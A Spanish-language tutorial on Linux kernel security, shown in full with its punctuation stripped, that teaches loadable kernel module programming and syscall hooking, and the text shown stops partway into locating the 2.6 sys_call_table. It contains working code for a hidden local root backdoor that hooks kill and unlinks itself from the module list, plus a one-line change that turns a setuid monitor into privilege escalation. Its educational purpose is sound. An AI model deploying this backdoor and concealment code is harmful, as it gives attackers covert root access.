Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots
Transcript of Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots
Kernel hacks y seguridad JMP
KERNEL HACKS Y SEGURIDAD EN LINUXAutor Jose Miguel Porcel Gonzalez
Fecha elaboracioacuten Diciembre 2005 ndash Enero 2006
Esta obra se rige por la licencia ldquoCreativeCommonsrdquo disponible aquiacute httpwwwcreativecommonsorglicensesby-nc-sa25legalcode
Atribucioacuten Debes reconocer y citar la obra de la forma especificada por el autor o el licenciante
No Comercial No puedes utilizar esta obra para fines comerciales
Licenciar Igual Si alteras o transformas esta obra o generas una obra derivada soacutelo puedes distribuir la obra generada bajo una licencia ideacutentica a eacutesta
Los derechos derivados del uso legiacutetimo del agotamiento u otras limitaciones o excepciones reconocidas por la ley no se ven afectados por lo anterior
Detalles
httpcreativecommonsorglicensesby-nc-sa25deedes_CL
NOTA Salvo error u omisioacuten el coacutedigo de este documento se distribuye sin ninguacuten tipo de garantia bajo licencia GNU GPL en su versioacuten maacutes reciente por debajo de la versioacuten 3
Kernel hacks y seguridad JMP
IacuteNDICE DE CONTENIDOS
Kernel hacks
1) Preparando el entorno de trabajo Obtener e instalar el coacutedigo fuente del nuacutecleo
2) Conceptos baacutesicos 3) Loadable Kernel Modules
Compilacioacuten de LKMs para la serie 24x 4) Sys_call_table[] en kernels 22 y 24 5) Protegiendo el UID 0 6) Backdoor local para kernels 24x 7) Moacutedulos para la serie 26 del nuacutecleo
Compilacioacuten de LKMs para la serie 26x 8) No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Otra alternativa iquestmaacutes sencilla 9) Hooks y hacks de intereacutes (algunas ideas) 10) Rootkits visioacuten general
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo Medidas de proteccioacuten y deteccioacuten de rootkits
Conclusiones
NIDS Snort
1) Preparando el entorno de trabajo 2) Configuracioacuten baacutesica de Snort 3) Descargando nuevas reglas de Inernet 4) Prevencioacuten de intrusiones 5) Usando ACID + Snort
Creando nuevas reglas para Snort
Conclusiones
Honeypots
1) Preparando el entorno de trabajo 2) Creando nuevos sistemas virtuales 3) Otros usos
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
Conclusiones
Bibliografiacutea y recursos en Internet
Kernel hacks y seguridad JMP
NOTA
El presente documento ha sido realizado por el autor de forma iacutentegra no obstante alguna informacioacuten de la que aparece ha sido utilizada por el autor del documento en otras ocasiones (aunque no en la misma forma ni en la totalidad del contenido) para otros trabajos personales publicados en la red u otros medios de comunicacioacuten con anterioridad Dichos documentos pueden estar regidos o no por la misma licencia del presente documento Las fuentes externas (incluyendo algunas figuras usadas) cuyo origen sea ajeno seraacuten citadas de forma expliacutecita yo deberiacutea aparecer al final del presente documento
Para la realizacioacuten de algunos diagramas se usoacute la herramienta ldquoDIArdquo y para escribir el documento se usoacute ldquoOpenOfficerdquo no obstante es posible distribuir el documento en cualquier otro formato siempre y cuando se respete su licencia y su contenido El trabajo no estaacute exento de errores e imperfecciones cualquier criacutetica constructiva (a modo de ldquofeedbackrdquo) seraacute bien recibida Existe una presentacioacuten (ldquodiapositivasrdquo) adjunta al documento que amplia (ligeramente) y sintetiza ciertos aspectos del documento y que lo complementa Estaacute disponible de igual forma en la red de Internet y se usoacute para la exposicioacuten (de una charla) presentando el trabajo en una Universidad
Kernel hacks y seguridad JMP
Introduccioacuten
En 1991 alguien llamado Linus B Torvalds se compra un PC (386) para intentar comprender de forma exhaustiva su funcionamiento Como es de imaginar el sistema M$ DOS cutre de la eacutepoca no aprovechaba el procesador 386 (ni siquiera usaba el modo protegido) asiacute que Linus cogioacute otro sistema llamado Minix con A Tanembaum como principal desarrollador y empezoacute a implementar y reprogramar funcionalidades hasta el puno en el que en 1991 ya disponiacuteamos de la versioacuten de Linux (contraccioacuten Linus + Unix) 001 que estaba muy lejos de ser lo que es hoy este potente sistema operativo
La primera versioacuten oficial (la 002) data del 5 de Octubre de 1991 y ya permitiacutea ejecutar ciertos programas GNU como bash Gracias a Internet y el esfuerzo de la comunidad sobre Marzo de 1994 estaba disponible la primera versioacuten estable 10 de nuestro querido sistema operativo de forma totalmente independiente y libre -)
En este trabajo voy a tratar ciertos aspectos sobre la seguridad del nuacutecleo tanto en versiones recientes 26 como en las no tan recientes series 22 y 24 con el objetivo de ver como podemos protegernos ante ataques que se realizan a nivel del Kernel en forma de rootkit y especialmente como funcionan este tipo de programas para comprometer la seguridad
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento seraacute necesario tener en consideracioacuten una serie de requisitos previos
Para poder trabajar con un Kernel de Linux necesitamos algo fundamental esto es un Kernel -) concretamente necesitamos los sources de las series 24 y 26 para ir bien Resulta de intereacutes tener dos SO corriendo usaremos Qemu o VMWare
Necesitaremos a ser posible un depurador como GDB o cualquier otro que corra bajo Linux
Compilador GCC en una versioacuten reciente
Tener soporte para Loadable Kernel Moacutedules habilitado en el nuacutecleo actual
Un editor para el coacutedigo fuente y todas aquellas herramientas auxiliares y de sistema requeridas o que supongan una comodidad para el usuario
Nociones elevadas de C y programacioacuten a bajo nivel son altamente recomendables
11- Obtener e instalar el coacutedigo fuente del nuacutecleo
El coacutedigo fuente del nuacutecleo se puede obtener de los CDs de instalacioacuten de nuestra distribucioacuten o bien a traveacutes de Internet en la URL
httpwwwkernelorg
Una vez descomprimido el contenido del ldquotarballrdquo en usrsrc procedemos a crear un enlace simboacutelico en el mismo directorio apuntando a las fuentes del nuacutecleo que vayamos a compilar y que posteriormente tras su compilacioacuten e instalacioacuten seraacute ejecutado al reiniciar la maacutequina
ln ndashs usrsrclinux-$(uname ndashr) linux
Teniendo eso en cuenta
root cd usrsrc
1 Descargamos el coacutedigo fuente del Kernel en usrsrc 2 Descomprimimos el contenido seguacuten convenga tar jxvf linux-2xx 3 Compilamos el nuacutecleo con las opciones adecuadas
cd usrsrclinux make menuconfig make ampamp make modules_install cp archi386bootbzImage bootkernel-2xx
editamos nuestro gestor de arranque como sea necesario (reiniciamos la maacutequina)
Kernel hacks y seguridad JMP
2- Conceptos baacutesicos
Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen
Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos
1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30
El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado
f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74
Kernel hacks y seguridad JMP
Kerneland y Userland
Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland
Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes
Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo
Archivos de cabecera
Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo
Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura
Llamadas al sistema
En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal
Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario
Kernel hacks y seguridad JMP
3- Loadable Kernel Modules
Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente
Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute
Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod
Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)
Kernel hacks y seguridad JMP
31- Compilacioacuten de LKMs para la serie 24x
Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel
root gcc -c listado2c -I usrsrclinuxinclude
lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado
root insmod listado2o parm_entero=5
podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt
Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute
Explicacioacuten
En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso
Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel
Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog
Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages
Kernel hacks y seguridad JMP
4- Sys_call_table[] en kernels 22 y 24
Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo
extern void sys_call_table[]
Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)
Listado 3
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)
Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento
El funcionmiento se explica a continuacioacuten
Kernel hacks y seguridad JMP
Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado
iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt
$cat usrsrclinuxincludelinuxasmunistdh|less
Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh
Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt
Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo
Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod
La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt
sigue listado 4
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
